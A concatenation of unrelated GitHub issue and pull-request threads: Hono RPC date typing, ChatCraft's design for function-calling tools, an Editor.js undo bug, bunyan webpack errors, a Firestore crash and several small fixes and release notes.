I'm getting this problem too so I'll add. My data tables contain dates like createdAt & updatedAt. I'm using Drizzle so the types returned are Dates through my codebase.
So when accessing the hono client everything is typed as a string as mentioned elsewhere in this issue.
// server side
const app = new Hono<{ Bindings: EnvBindings }>()
	.get('/:id', async (c) => {
		const id = Number.parseInt(c.req.param('id'))
		const [data] = await c.env.db.select().from(properties).where(eq(properties.id, id))
		return c.json({ data }) // i.e. createdAt: Date | null;
	})

// client side
	queryFn: async () => {
				if (!id) return
				const res = await client.properties[`:id`].$get({ param: { id: id.toString() } })
				if (!res.ok) {
					throw new Error('Failed to fetch property data')
				}
				return res.json() // i.e. createdAt: string | null;
			},

So because I'm sharing the types inferred by Drizzle in my front end code, I am getting type errors whenever I deal with data returned from the hono RPC client.
What's the recommendation here? I am sure you wouldn't recommend that we cast the type of the data back to the correct type (i.e. the type produced by Drizzle) everywhere we return data from hono RPC? Is there a simple middleware that can be written to do this automatically?
I imagine this would be a common problem, so would be appreciated of your guidance. I'm surprised it's not mentioned elsewhere in the docs.

I am facing the same problem but with Prisma. Did you find any solution yet?

For now i'm using npx zod-prisma-types, to gen typesafe from prisma,
And for any date fied just adding the prisma custom type of bellow:

has anyone found solution, this really affects the DX.

Hi @linhtrinh18

I'm using 4.5.1 version but the Date (backend) automaticly turn to String (at front end) after sending json data through c.json().

This behavior may be correct, though I don't fully understand your problem.

I'm getting this problem too so I'll add. My data tables contain dates like createdAt & updatedAt. I'm using Drizzle so the types returned are Dates through my codebase.
So when accessing the hono client everything is typed as a string as mentioned elsewhere in this issue.
// server side
const app = new Hono<{ Bindings: EnvBindings }>()
	.get('/:id', async (c) => {
		const id = Number.parseInt(c.req.param('id'))
		const [data] = await c.env.db.select().from(properties).where(eq(properties.id, id))
		return c.json({ data }) // i.e. createdAt: Date | null;
	})

// client side
	queryFn: async () => {
				if (!id) return
				const res = await client.properties[`:id`].$get({ param: { id: id.toString() } })
				if (!res.ok) {
					throw new Error('Failed to fetch property data')
				}
				return res.json() // i.e. createdAt: string | null;
			},

So because I'm sharing the types inferred by Drizzle in my front end code, I am getting type errors whenever I deal with data returned from the hono RPC client.
What's the recommendation here? I am sure you wouldn't recommend that we cast the type of the data back to the correct type (i.e. the type produced by Drizzle) everywhere we return data from hono RPC? Is there a simple middleware that can be written to do this automatically?
I imagine this would be a common problem, so would be appreciated of your guidance. I'm surprised it's not mentioned elsewhere in the docs.

looking for some ideas as well... i pass it through zod parse on client to fix the dates.. but it feels hacky

can you show us how did you parse on client btw


Let's try to define and prototype tools

We've spoken a lot about "tools," and the abilities they'd unlock.  Now that we have the message types in place, routing, and the db backend, I think we have most of the pieces necessary to start playing around with this.
It likely makes sense to consider this in the context of Langchain, which already gives us access to Agents and Tools.  Here, a "tool" means:
interface Tool {
  call(arg: string): Promise<string>;
  name: string;
  description: string;
}

So we could begin by providing a way to write/upload/store JS (or TS and transpile, or I guess whatever lang and compile to WASM) which exports a call(arg: string): Promise<string> function.
We now have /c/* for chats.  What about /t/* for tools?
How do we use these tools?  Do we create a Toolkit for an agent to use, based on all the /t/* tools owned by the user?  Or do we have some way to insert a Tool as context in a message?  Or both?

OpenAI announced changes to how models interact with functions:

Function calling
Developers can now describe functions to gpt-4-0613 and gpt-3.5-turbo-0613, and have the model intelligently choose to output a JSON object containing arguments to call those functions. This is a new way to more reliably connect GPT's capabilities with external tools and APIs.
These models have been fine-tuned to both detect when a function needs to be called (depending on the user’s input) and to respond with JSON that adheres to the function signature. Function calling allows developers to more reliably get structured data back from the model. For example, developers can:
Create chatbots that answer questions by calling external tools (e.g., like ChatGPT Plugins)

Convert queries such as “Email Anya to see if she wants to get coffee next Friday” to a function call like send_email(to: string, body: string), or “What’s the weather like in Boston?” to get_current_weather(location: string, unit: 'celsius' | 'fahrenheit').

Convert natural language into API calls or database queries
Convert “Who are my top ten customers this month?” to an internal API call such as get_customers_by_revenue(start_date: string, end_date: string, limit: int), or “How many orders did Acme, Inc. place last month?” to a SQL query using sql_query(query: string).
Extract structured data from text
Define a function called extract_people_data(people: [{name: string, birthday: string, location: string}]), to extract all people mentioned in a Wikipedia article.
These use cases are enabled by new API parameters in our /v1/chat/completions endpoint, functions and function_call, that allow developers to describe functions to the model via JSON Schema, and optionally ask it to call a specific function. Get started with our developer documentation and add evals if you find cases where function calling could be improved

This would make it pretty easy to host tools in ChatCraft that can be easily invoked by the model.

Developer docs for Function Calling are here.

OpenAI Cookbook Example of Function Calling here

Note openai functions add a function message type.
https://platform.openai.com/docs/api-reference/chat/create

Langchain.js function call stuff: https://github.com/hwchase17/langchainjs/blob/53b6cb4fd9365e26b21c5e40ed2ddd8077562fdb/langchain/src/chat_models/openai.ts#L87

So I think there is only one way to do this.

Add a second "system message" where we can edit schema for openai functions. These will likely be catalog of built-in functions showCode(code, language), someDBOperations and user-defined functions like "runSQL". Flag to force functions to run, "just show me the code" becomes a forced "renderCode" call

When model tells us to run code by sending us a reply with "assistant" messages with "content":null and "function_call", we render function call similar to how we do now...have per-function-call auto-run(eg renderCode is harmless)

if auto-run is specific, we immediately pipe results back..if not, we have option of running the function and sending results back optionally(this is useful when using model to generate sql queries and no further interaction is needed), same thing happens if we have a function to apply cloudformation, etc

Let me think out-loud, based on what you wrote above.
First, a tool or function (I think "function" is probably closer to my concept of what this is) has the following:

name
description
input arg schema (JSON Schema)
implementation in JS

A bunch of this is based on https://github.com/openai/openai-node/blob/dc821be3018c832650e21285bade265099f99efb/api.ts#L26-L50 and https://platform.openai.com/docs/api-reference/chat/create#chat/create-functions, but we can also colocate the implementation, since we'll run these functions in the browser.
Here's an example:
{
  name: "echo",
  description: "echoes the input back",
  parameters: {
    type: "object",
    properties: {
      value: {
        type: "string",
        description: "The value to echo back",
      },
      required: ["value"]
    }
  },
  code: "function(value) {\n return value;\n }"
}

We can put these functions in a new table in the database.  This lets us re-use them across different chats, and refer to them by id or something within a chat vs. having them live there.  A shared chat could embed them so you can pass them around.
In terms of the UI for working with them, we could either do it all in the current message view, or we could introduce a new view.  I think I'd do the latter.  For example:

add a new section in the left-hand sidebar for "Functions" (i.e., you have your Chats, Shared Chats, and Functions).
you can "open" or "edit" a function, which would display a card with the name, description, schema, and an editor for working on the code
in a typical chat, you can "include" these functions, maybe in the system prompt (e.g., add some UI for choosing them) and they show-up by name (i.e., don't show the whole function, but clicking on it takes you to the other view where you can read/edit).
The system prompt could also have an "Add Function..." button or something that takes you to the function editor
If you select functions in your system prompt, we tell the model to use these, and can perhaps have some UI way to force the use of them vs. "auto" where it chooses.

This isn't the right UI, but imagine having a way to easily add/remove functions by name in the system prompt message, and also to go write a new one:

name
description
input arg schema (JSON Schema)
implementation in JS

I slept on this. I think a tool is gonna be something like  JS module + typescript type annotations for it. We can use typescript tooling to convert mapping into json-schema that openai requires
So a tool would be a http://-loadable JS module with some metadata describing what's in it. While at it, we can also include a system prompt in that metadata bundle.

I was thinking
/**
echoes the input back
@param value The value to echo back
*/
export function echo(value: string) {
  return value;
}

I would like to be able to include multiple functions per module this way...but your way is much easier to implement
We could combine system prompts when multiple modules are used

I think making single-function modules is more in the spirit of the APIs, where you provide an array of functions to use.  I agree that you'll want multiple functions in lots of cases, but being able to compose them together would be more flexible.  I also think that separating functions from one another, and also from the chat/messages, makes them more reusable.
In the UI we could have a way to get GPT to generate the structured bits (name, params, etc) based on the code you write.  However, we could provide a way to enter them manually.
So can we get practical?

What's our naming here, is it "Tool" or "Function"?
Add db table to store them (metadata + blob for code)
Add routing to be able to access them and load dynamically via URL
Some initial UI for writing/editing

Once those are in place, we can work on integration UI into current chat, system prompt, etc.

To me Tool is combination of interaction(eg fetch call to clickhouse) and formatting function(eg render as graph or markdown) and system prompt to direct chatcraft to use it
db is a followup to me.. if we can load module payloads, we list em in a blog for now..somewhere outside of chatcraft
same opinion as ^
again, i'd be ok with editing the tool outside of chatcraft for MVP

So are you imagining this more like an "App Store" where these functions are vetted and stored centrally somewhere outside of ChatCraft?  I was imagining us doing this without a central store, but I can see the value of both ways.  This is why figuring out the db/routing/loading first was important to me, since we need them to have a home in your existing data.

I'm imagining it as programming lego. toolbox/appstore is nice but not required to use tools.

I'm going to continue to push to have this become more concrete so I can start coding.
"Programming Lego" is nice, and to me it implies the idea of individual, atomic, building blocks.  So my proposal is:

Functions are code + metadata we store locally in the db (lego).  They are ES Modules that we can load on demand at runtime from db via Blob URL and invoke (i.e., they live outside the app bundle).
System Prompts can include one or more functions (e.g., by name), but they aren't "stored" there.  Including functions in a prompt means the LLM may ask us to call them in the response.
A Tool is the combo of a system prompt + functions I can use to do something, so essentially: a chat with custom system prompt and included functions.

I think the above would be enough to build a prototype to try, and then we can figure out editing, sharing, etc.
Sound good?  What did I get wrong here?

2,3 are good. But confused as to what "store locally in the db" means

I mean we can store the actual function code in the db as either a string or Blob and then when we want to use it at runtime, we can.
// Get a function from the db
const fn = await db.functions.get(id);
// Grab it's "code" which is a blob of the JS ES Module with type text/javascript
const blob = record.code;
// Use that Blob to create a dynamic URL
const url = URL.createObjectURL(blob);
// Load the module at runtime and grab the function we want to use
const { myFunction } = await import(url);
// Call the function
await myFunction(inputData);

We can do that. I think I would eventually want to import external files, but that's a bigger feature.

I'm sold on your proposal

Another question before I start implementing this.
In the UI for creating/editing a function, I need to know how to handle metadata for a function. What I'm imagining is that you can go to chatcraft.org/f/new and create a function, or chatcraft.org/f/:id or maybe just use the function name as id, and edit an existing.  I'm trying to decide how to do the layout for what you see when you get there.
I think we have two options:

A bunch of form inputs (function name, description, etc) followed by an editor view for the code.
Just an editor view, and all metadata is somehow extracted from the code.

Doing 1. is obviously easier from an implementation point of view.  Is there value in trying to do everything via code?  Without needing complex parsing, we could use what I suggested above and put everything into exports on the module:
export const name = "echo";

export const description = "echoes the input back";

export const parameters = {
  type: "object",
  properties: {
    value: {
      type: "string",
      description: "The value to echo back",
    },
    required: ["value"],
  },
};

export default function (value: string) {
  return value;
}

What's nice about this is that we can validate the module to make sure it's working before we save to db.  When we save to db, we can import() the module and extract the metadata to put into other fields.
Which way should I go?

I vote for 2.

Started playing with this, and it's going to work:

In the screenshot above, you can see a code editor, and I'm able to parse the module, dynamically import it, and extract the features I want (notice the name and description being used dynamically in the header).
Code to do the extraction is this:
const parseModule = async (code: string) => {
  const blob = new Blob([code], { type: "text/javascript" });
  const url = URL.createObjectURL(blob);

  try {
    return import(/* @vite-ignore */ url);
  } catch (err: any) {
    console.warn("Unable to parse module", err);
    throw new Error(`Unable to parse module: ${err.message}`);
  } finally {
    URL.revokeObjectURL(url);
  }
};

I'll keep playing and post a PR this week.

Microsoft released a library to do something similar to what we are doing here https://github.com/microsoft/TypeChat/tree/4d34a5005c67bc49444e6e6d016a9262cf24b38d

This is done!


Don't always send a value for first_published_at

Only send a value if the document has actually been
published. Otherwise, the obvious problem occurs, and the document
appears to have been published when it was created, not when it was
first published!
The FirstPublicAt class has the same problem as it uses the
FirstPublishedAt class, so apply the same fix there also.

Superseded by https://github.com/alphagov/whitehall/pull/4413


fix bug: after is-null stats derive, other column stats are dropped

Proposed changes
Issue Number: close #xxx

run buildall

run buildall


Add files used for cloudrun tutorial

These files added will be used for a tutorial on how to:

Run Voucher server as a Cloud Run service
Invoke the voucher server from a Cloud Build pipeline to sign an built image
We need to merge these files before the tutorial is live on cloud.google.com.

Should we add the README in a separate PR? I think the changes should happen in this order:

merge this PR
publish the cloudrun google doc
add README to point to cloudrun doc
I'll create an issue to track the README.


chore: release master

:robot: I have created a release beep boop
tvm-grpc: 0.3.3
0.3.3 (2023-10-02)
Bug Fixes

avoid to clone config cache (#466) (ff13969)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/getgems-io/tonlibjson/releases/tag/tvm-grpc-v0.3.3 :sunflower:


No more Goto's

// get rid of goto's
#include <stdio.h>
int main()
{
int i, j;
for ( i = 0; i < 10; i++ )
{
    printf_s( "Outer loop executing. i = %d\n", i );
    for ( j = 0; j < 2; j++ )
    {
        printf_s( " Inner loop executing. j = %d\n", j );
        if ( i == 3 )
            i = 10; // some error occurred
    }
}

if ( I < 11)
// This message does not print:
    printf_s( "Loop exited. i = %d\n", i );
else
    printf_s( "Jumped to stop. i = %d\n", i );

}

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 35725608-b181-d529-4fe6-fcd63c8748e7
Version Independent ID: 0cc1dc44-fff9-731e-9346-84ef6f52b668
Content: goto Statement (C++)
Content Source: docs/cpp/goto-statement-cpp.md
Product: visual-cpp
GitHub Login: @mikeblome
Microsoft Alias: mblome

@NWoodruff The goto statement still exists in C++ and has its uses, although as you imply it should be avoided as a general rule. The example on this page can be written without goto, but since this topic is titled "goto Statement", it would not be helpful to have examples that don't show how to use it.


XML parser is allowing spaces between angle brackets and names

As per the XML conformance tests as provided by OASIS, we are seeing three successful parses where there should be errors.
conformance::xml::oasis_notwf::op40fail4 --> Allowing spaces before element name (opening tag)
conformance::xml::oasis_notwf::op42fail1 --> Allowing spaces before element name (closing tag)
conformance::xml::oasis_notwf::op44fail1 --> Allowing spaces before element name (empty element)

This should be fixed in the 0.6.0 release.


[Question]: Roadmap for IngestionPipeline?

Question Validation

[X] I have searched both the documentation and discord for an answer.

Question
IngestionPipeline classes are components which are also shared by (the now deprecated) QueryPipeline class, such as a TransformComponent.
Are those components and the IngestionPipeline also to be deprecated, on the expectation that they should be rewritten as workflows or is that to remain supported?

Actually, the query pipeline and ingestion pipeline are completely unrelated, despite the naming
Ingestion pipeline transformations inherit from the TransformComponent class, which just forces to implement __call__ and acall methods. This is neither deprecated, nor shared with query pipelines (query pipelines implement a run_component and arun_component method)
I wouldn't expect to see the ingestion pipeline removed anytime soon. It's quite popular.
What i would expect is the docs to de-emphasize it, in favor of just implementing it yourself with workflows.
At some point the ingestion pipeline might be converted to use workflows under the hood, but it's not terribly urgent


change repo name to 'esri-leaflet-heatmap'

to match https://github.com/Esri/esri-leaflet-cluster/pull/9#issuecomment-239302880

done.


Save function contains a bug where index is used instead of indexInState

Precheck

[x] Do a quick search and make sure the bug has not been reported yet.
[x] Please disclose security vulnerabilities privately at<EMAIL_ADDRESS>[x] Finally, be nice and have fun!.

Description
There is a bug in the save function where index is incorrectly being used in place of indexInState.
Environment

Editor.js version: 2.22.2
Plugins you use with their versions: editorjs-undo v2.0.0
Device, Browser, OS: Macbook Pro, Chrome, Mac OS

Current behavior
When determining the caretIndex, index is incorrectly used in the state[index].type === 'header' comparison
/**
 * Adds the saved data in the history stack and updates current position.
 */
save(state) {
  if (this.position >= this.maxLength) {
    this.truncate(this.stack, this.maxLength);
  }
  this.position = Math.min(this.position, this.stack.length - 1);

  this.stack = this.stack.slice(0, this.position + 1);

  const index = this.blocks.getCurrentBlockIndex();
  const blockCount = this.blocks.getBlocksCount();
  let indexInState = index;

  if (!state[index]) indexInState -= (blockCount - state.length);
  const caretIndex = state[indexInState].type === 'paragraph' || state[index].type === 'header'
    ? this.getCaretIndex(index) : null;
  this.stack.push({ index: indexInState, state, caretIndex });
  this.position += 1;
  this.onUpdate();
}

Expected behavior
When determining the caretIndex, indexInState should be used in both comparisons
/**
 * Adds the saved data in the history stack and updates current position.
 */
save(state) {
  if (this.position >= this.maxLength) {
    this.truncate(this.stack, this.maxLength);
  }
  this.position = Math.min(this.position, this.stack.length - 1);

  this.stack = this.stack.slice(0, this.position + 1);

  const index = this.blocks.getCurrentBlockIndex();
  const blockCount = this.blocks.getBlocksCount();
  let indexInState = index;

  if (!state[index]) indexInState -= (blockCount - state.length);
  const caretIndex = state[indexInState].type === 'paragraph' || state[indexInState].type === 'header'
    ? this.getCaretIndex(index) : null;
  this.stack.push({ index: indexInState, state, caretIndex });
  this.position += 1;
  this.onUpdate();
}

This issue was solved in the pull request #114.


IWW Issue #15, August 18th 2020

This pull request is for gathering links for the August 18th issue of the Immersive Web Weekly newsletter for the W3C Immersive Web Community Group.
If you have a link to a news article, event, artwork, or project that is directly related to the immersive web then we welcome your help!
To submit a link comment below using this template:
title: Example title of link
url: https://example.com/
author: Alice Smith and Bob Fe (the people or organization who created whatever is at the link)
content: A short description of what is at the link and why it's related to the immersive web

Please keep in mind that comments here and all submitted links are public!
We keep each issue pretty short so we won't immediately use every submission but we keep track of them all and they may appear in a later issue.
Deadline
IWW goes out each Tuesday morning Pacific time.
Trevor will edit each issue on the Monday before (in this case that Monday is August 17th) so submissions after that will roll over for use in future issues.
If you need editorial support then email @TrevorFSmith<EMAIL_ADDRESS>

Title: Virtual Tours of the Museum of the Fossilized Internet
Url: https://blog.mozilla.org/blog/2020/08/06/virtual-tours-of-the-museum-of-the-fossilized-internet/
Author: Cathleen Berger
Content: In March 2020, Michelle Thorne and I announced office tours of the Museum of the Fossilized Internet as part of our new Sustainability program. Then the pandemic hit, and we teamed up with the Mozilla Mixed Reality team to make it more accessible while also demonstrating the capabilities of social VR with Hubs.

Note: I mistakenly made the subject of last week's issue 15 when it was in fact 14.
Sorry for the confusion.

title: Mozilla is Changing
url: https://blog.mozilla.org/blog/2020/08/11/changing-world-changing-mozilla/
author: Mitchell Baker
content: Layoffs, reorg, and more product-driven work

title:Nreal’s augmented reality glasses are shipping this month in Korea
url: https://www.theverge.com/2020/8/10/21362407/nreal-light-ar-glasses-lg-uplus-samsung-galaxy-note-retail-launch-availability-price
author:
content: The Nreal Light mixed reality glasses are shipping in Korea alongside Samsung’s newly announced Galaxy Note 20. t’s promising to support Chrome, Facebook, and Instagram, among other apps, at launch.

Additional article for @Yonet's news ☝
title: Nreal Light AR glasses launch with VR lenses
url: https://venturebeat.com/2020/08/10/nreal-light-ar-glasses-add-vr-lenses-launch-august-21-in-south-korea/
author: Jeremy Horwitz
authorLink: https://twitter.com/horwitz

title: Sketchfab and Run The Jewels invite an immersive web remix
url: https://sketchfab.com/blogs/RTJ4D/
author: Sketchfab
content: The immersive web has progressed far enough that team-ups like Sketchfab and the band Run The Jewels make business sense. Artists are invited to remix 3D assets related to a new album and then repost them on Sketchfab where they can be viewed in AR and VR.

title: Ninth annual js13kgames adds a WebXR challenge
url: https://js13kgames.com/webxr
url: https://medium.com/js13kgames/js13kgames-2020-has-started-c7e003292613
author: Andrzej Mazur
authorLink: https://end3r.com/


fix rank profile

it fixes a bug (the extra + on the last line / the missing + on the line over), so it can be deployed. just used the same formatting as in the rank profile below

Ah, right ... I sorted the lines without moving the + signs. Thanks!


Bunyan errors

Module not found: Error: Cannot resolve module 'fs' in node_modules\bunyan\node_modules\mv\node_modules\mkdirp
What should I do?

Bunyan is using the browserify way to conditionally require a node-only module. This approach doesn't work with webpack, because webpack is able to resolve simple expressions like 'dtrace-provider' + '' statically.
My suggestion is to alias the dtrace-provider-module with a small module that throws an error when required:
// webpack.config.js
    ...
    resolve: {
        "dtrace-provide": path.resolve(__dirname, "./path/to/dtrace-shim.js")
    }

// dtrace-shim.js
throw new Error("dtrace is not available in the browser");

Actually there were some typos, but figured out:
    alias: {
        "dtrace-provider" : absPath("other_modules/dtrace-shim"),
        "fs"              : absPath("other_modules/fs-shim"),

fs-shim.js is just an empty file.
I don't really like this solution, is kind of bad. Also because on the server side I use webpack with enhanced require so the "fs" will bre replaced by the fs-shim, right? And might break other stuff.

There is a better way which works with webpack and browserify, but it requires changes to the module:
// package.json
"browser": {
  "dtrace-provider": false,
  "fs": false
}

var dtrace = require('dtrace-provider'); // will return an empty object for the browser

And you need to change a few lines that tests for dtrace (it's now {} instead of null).

I have to change the package.json of bunyan? I can't do that, because in production the npm install will not do that automatically.
Also the dtrace should throw an error for the bunyan lib to work. They try to load and in browserify throws an error, and they use that behaviour to check.

but it requires changes to the module:

Yeah, you need to do a PR.

If you don't want to do that, use the approach @jhnns suggested, or the IgnorePlugin.

Thanks

Should be fixed with bunyan v1.5.0. Sorry for my delays.

Still getting Cannot resolve module fs errors for bunyan v1.5.1:
ERROR in ./~/bunyan/~/mv/~/rimraf/rimraf.js
Module not found: Error: Cannot resolve module 'fs' in /Users/markfayngersh/qh-pcp-client/node_modules/bunyan/node_modules/mv/node_modules/rimraf
 @ ./~/bunyan/~/mv/~/rimraf/rimraf.js 6:9-22

ERROR in ./~/bunyan/~/mv/index.js
Module not found: Error: Cannot resolve module 'fs' in /Users/markfayngersh/qh-pcp-client/node_modules/bunyan/node_modules/mv
 @ ./~/bunyan/~/mv/index.js 1:9-22

ERROR in ./~/bunyan/~/mv/~/mkdirp/index.js
Module not found: Error: Cannot resolve module 'fs' in /Users/markfayngersh/qh-pcp-client/node_modules/bunyan/node_modules/mv/node_modules/mkdirp
 @ ./~/bunyan/~/mv/~/mkdirp/index.js 2:9-22

ERROR in ./~/bunyan/lib/bunyan.js
Module not found: Error: Cannot resolve module 'fs' in /Users/markfayngersh/qh-pcp-client/node_modules/bunyan/lib
 @ ./~/bunyan/lib/bunyan.js 31:13-26

ERROR in ./~/bunyan/~/mv/~/rimraf/~/glob/glob.js
Module not found: Error: Cannot resolve module 'fs' in /Users/markfayngersh/qh-pcp-client/node_modules/bunyan/node_modules/mv/node_modules/rimraf/node_modules/glob
 @ ./~/bunyan/~/mv/~/rimraf/~/glob/glob.js 43:9-22

ERROR in ./~/bunyan/~/mv/~/rimraf/~/glob/sync.js
Module not found: Error: Cannot resolve module 'fs' in /Users/markfayngersh/qh-pcp-client/node_modules/bunyan/node_modules/mv/node_modules/rimraf/node_modules/glob
 @ ./~/bunyan/~/mv/~/rimraf/~/glob/sync.js 4:9-22

ERROR in ./~/bunyan/~/mv/~/ncp/lib/ncp.js
Module not found: Error: Cannot resolve module 'fs' in /Users/markfayngersh/qh-pcp-client/node_modules/bunyan/node_modules/mv/node_modules/ncp/lib
 @ ./~/bunyan/~/mv/~/ncp/lib/ncp.js 1:9-22

Same issue as @pheuter on 1.8.1.  Did you get a solution to that @pheuter?

@oojacoboo If you feel this is a bug, could you open a separate issue? The issue template guides with that.


Cloud Firestore crash on create new document?

Steps to Reproduce
I'm 95% sure this used to work and then something changed and now a crash happens. Using Flutter-dev branch.
I'm sure there is smaller version of this bug, but for now:
load our app: https://github.com/emshack/sufficient_goldfish
try to type into one of the text fields (we have a "try to submit to cloud firestore when you are done editing the text").
See the lovely stack trace below. I've tried specifying a specific database document and letting it autogenerate a new one. Either way it crashes... and it used to not do that.
Logs
the stacktrace of the crash:
D/NetworkSecurityConfig(15253): No Network Security Config specified, using platform default
I/ProviderInstaller(15253): Installed default security provider GmsCore_OpenSSL
E/flutter (15253): [ERROR:topaz/lib/tonic/logging/dart_error.cc(16)] Unhandled exception:
E/flutter (15253): PlatformException(Error performing updateData, NOT_FOUND: No document to update: projects/sufficientgoldfish/databases/(default)/documents/profiles/-L8sLzI5Ua9cXqRfnxaM, null)
E/flutter (15253): #0      StandardMethodCodec.decodeEnvelope (package:flutter/src/services/message_codecs.dart:544:7)
E/flutter (15253): #1      MethodChannel.invokeMethod (package:flutter/src/services/platform_channel.dart:154:18)
E/flutter (15253):
E/flutter (15253): #2      DocumentReference.updateData (file:///usr/local/google/home/efortuna/.pub-cache/hosted/pub.dartlang.org/cloud_firestore-0.3.2/lib/src/document_reference.dart:49:30)
E/flutter (15253): #3      _ProfilePageState._updateProfile (file:///usr/local/google/home/efortuna/googleio/sufficient_goldfish/lib/main.dart:58:14)
E/flutter (15253):
E/flutter (15253): #4      _ProfilePageState.build. (file:///usr/local/google/home/efortuna/googleio/sufficient_goldfish/lib/main.dart:80:15)
E/flutter (15253): #5      EditableTextState.performAction (package:flutter/src/widgets/editable_text.dart:397:18)
E/flutter (15253): #6      _TextInputClientHandler._handleTextInputInvocation (package:flutter/src/services/text_input.dart:400:36)
E/flutter (15253):
E/flutter (15253): #7      MethodChannel._handleAsMethodCall (package:flutter/src/services/platform_channel.dart:201:55)
E/flutter (15253):
E/flutter (15253): #8      MethodChannel.setMethodCallHandler. (package:flutter/src/services/platform_channel.dart:174:54)
E/flutter (15253): #9      BinaryMessages.handlePlatformMessage (package:flutter/src/services/platform_messages.dart:67:33)
E/flutter (15253):
E/flutter (15253): #10     _invoke3 (dart:ui/hooks.dart:162:13)
E/flutter (15253): #11     _dispatchPlatformMessage (dart:ui/hooks.dart:75:5)
Flutter Doctor
[✓] Flutter (Channel dev, v0.2.6, on Linux, locale en_US.UTF-8)
• Flutter version 0.2.6 at /usr/local/google/home/efortuna/googleio/flutter
• Framework revision 1d067220da (16 hours ago), 2018-03-29 22:14:04 -0700
• Engine revision 9af82c5a1a
• Dart version 2.0.0-dev.43.0.flutter-e305117519
[✓] Android toolchain - develop for Android devices (Android SDK 27.0.3)
• Android SDK at /usr/local/google/home/efortuna/Android/Sdk
• Android NDK location not configured (optional; useful for native profiling support)
• Platform android-27, build-tools 27.0.3
• Java binary at: /opt/android-studio-3.0/jre/bin/java
• Java version OpenJDK Runtime Environment (build 1.8.0_152-release-915-b01)
• All Android licenses accepted.
[✓] Android Studio (version 3.0)
• Android Studio at /opt/android-studio-3.0
• Java version OpenJDK Runtime Environment (build 1.8.0_152-release-915-b01)
[✓] IntelliJ IDEA Community Edition (version 2017.3)
• IntelliJ at /opt/intellij-ce-2017.3
• Flutter plugin version 23.1.2
• Dart plugin version 173.4700
[✓] Connected devices (2 available)
• Nexus 5X                  • 00b316142e9555f5 • android-arm64 • Android 8.1.0 (API 27)
• Android SDK built for x86 • emulator-5554    • android-x86   • Android 8.0.0 (API 26) (emulator)

From a quick look at your code and logs, seems to me like you're trying to update a document before creating it in the first place

user error of using updateData instead of setData(SetOptions.merge).

@efortuna
This issue has been moved to https://github.com/FirebaseExtended/flutterfire/issues/872. Any further collaboration will be done there.


Dropstart toggle split rendering compared to other dropdown toggle splits

Prerequisites

[X] I have searched for duplicate or closed issues
[X] I have validated any HTML to avoid common problems
[X] I have read the contributing guidelines

Describe the issue
The split line rendering is different for Dropstart toggle split than for Dropend toggle split or Dropup toggle split; the line is not cut at the edges:

Reduced test cases
Simply go to https://boosted.orange.com/docs/5.2/components/dropdowns/#dropstart
What operating system(s) are you seeing the problem on?
macOS
What browser(s) are you seeing the problem on?
Firefox
What version of Boosted are you using?
v5.2.0

Should be fixed by #1164.


Removed warnings under Visual Studio (Windows)

As requested in the issue.

Please use static_cast

Also please sign the CLA and add your name to AUTHORS.
(btw why is the cla bot no longer commenting?)

We couldn't find a Contributor License Agreement (CLA) for some of the contributors shown below. All contributors listed must be covered under a CLA for this pull request to be merged.
📝 If you are not currently covered under a CLA, please visit https://cla.developers.google.com/. Once you've signed (or fixed any issues), please request a rescan from a repository manager.

Also please sign the CLA and add your name to AUTHORS.
(btw why is the cla bot no longer commenting?)
AUTHORS is fine no, the CLA still missing. Don't know what is up with @googlebot ..

sorry, but I don't know how to do this.
Since nothing happened here for a long time, I left this problem.

sorry, but I don't know how to do this. Since nothing happened here for a long time, I left this problem.

Please visit https://cla.developers.google.com/. Once you've signed, follow the "New Contributors" link at the bottom of this page to update this check.

I think this can be merged now, @eustas?!

Still one c-cast remains, but ok. Going to fix it and other ~55 entries in one go afterwards (regex [^fL]\(\w+_t\)[^,;:>)])

I removed the remaining c-cast, @eustas


Bad lagging

I've hosted Ogar server on same server, and there is no noticeable lag. However once I use the feeder bot, on public Ogar servers or my own it's lagging horribly.
The feeder bot server is a Dedicated high end server, also tried on Digital Ocean and other providers. It's like lagging the entire game when i am trying to play?
Basically what's lagging is the game, so when i try to move cursor my cell sometimes stays the same position, once i disable the feeder it works fine.

lol, how many bots did you used ?

Around 3. The thing is, it lags in my browser (where I use the userscript).. So i dont see why its making me lag

wtf, and your home computer is like a good computer? the script sends out commands in a 100ms interval - I do not see a problem here

I think so? :P http://i.imgur.com/cep3UM0.png

puh strange a 4790k should handle this with ease ... ( got the same in my rig)

Could it have anything about the latency to the remote server? I mean, shouldn't. I can play fine using my own custom Ogar server, on same server..

no should be no issue
also you just run 3 bots

tried again, noticed no issue.. eh idk what to say


fix before/after_rollout callbacks

FIx bug highlighted in #15, related to the call of RL callbacks before_rollout and after_rollout.
Now, instead of directly calling the callbacks causing errors, it correctly uses trigger_plugins.

PR looks good. Do you know what's going on with the tests?

Let me check that I think I already solved it some time ago

I think that the main problem for the test is that in my local version I'm using gym=0.15.7 while the tests use the one in the requirements.txt. I think something changed in the library, so the tests fail while on my machine are ok.
I have to take a look at gym version to see the best one, and also consider gymnasium but is something i was looking to do in the future. Moreover to use avalanche=0.3.1 the test with python3.6 should be deleted.

addressing these issues here #17


Sourcemaps

Changes
This is a preliminary attempt at trying to get sourcemaps working in some capacity for single file (TS/JSX/TSX) esbuild and svelte plugin transforms. So far the most trivial way I have found of enabling these is through inline source maps.
I'm sure there are some downsides to inline source maps (especially in production) but during development they seem convenient as all the information that the browser requires to present mappings in the sources tab for any given file is contained within the file itself.
The changes here are pretty small if you exclude the testing directories which are just there for experimentation purposes and meant to be deleted before merging.
Here is a screenshot of the sources tab of a TSX project using react:

Here is a screenshot of the same project but with bundling enabled:

Here is a screenshot of the sources tab of a Svelte project:

Here is a screenshot of the same project but with bundling enabled:

General Observations
Some things I have noticed whilst testing these setups is that:

Individual files have inline sourcemaps during dev but when a project is bundled then esbuild seems to aggregate all source maps for all files in a bundle into an external source map that could be used in production (doesn't add weight to the bundle).
The above only appears to hold true for the basic esbuild case; when Svelte plugins are bundled an external sourcemap is generated but only for the index file (no aggregation of maps).
Errors seem to be thrown by the dev server when trying to resolve sourcemaps for Svelte HMR files.

[24:60:40] [snowpack] [404] Not Found (/_snowpack/pkg/internal.js.map)
[24:60:40] [snowpack] [404] Not Found (/_snowpack/pkg/hot-api-esm.js.map)
[24:60:40] [snowpack] [404] Not Found (/_snowpack/pkg/proxy-adapter-dom.js.map)

Testing
No automated testing yet.
Docs
No breaking changes, currently the inline sourcemaps will only be appended to files if buildOptions.sourcemaps === true.

